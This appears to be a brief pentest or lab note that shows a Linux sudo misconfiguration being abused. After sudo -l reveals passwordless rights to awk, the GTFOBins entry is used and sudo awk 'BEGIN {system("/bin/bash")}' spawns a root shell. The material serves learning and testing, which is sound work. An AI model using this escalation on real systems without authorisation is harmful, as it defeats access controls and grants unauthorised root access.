SUDO

dsu@dsu-vm:~$ whoami
 dsu
dsu@dsu-vm:~$ sudo -l
 Matching Defaults entries for dsu on dsu-vm:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/
 User dsu may run the following commands on dsu-vm:
  (ALL) NOPASSWD: /usr/bin/awk
dsu@dsu-vm:~$ which awk
 /usr/bin/awk
dsu@dsu-vm:~$ ls -l /usr/bin/awk
 lrwxrwxrwx 1 root root 21 Jan 11 2019 /usr/bin/awk -> /etc/alternatives/awk

root@oco:~$ BROWSER > https://gtfobins.github.io/
 search: awk
  Sudo
  If the binary is allowed to run as superuser by sudo, it does not drop the elevated 
  privileges and may be used to access the file system, escalate or maintain 
  privileged access.

  sudo awk 'BEGIN {system("/bin/sh")}'
   * ALT: sudo awk 'BEGIN {system("/bin/bash")}'
   
dsu@dsu-vm:~$ sudo awk 'BEGIN {system("/bin/bash")}'
root@dsu-vm:~# whoami
 root

Last updated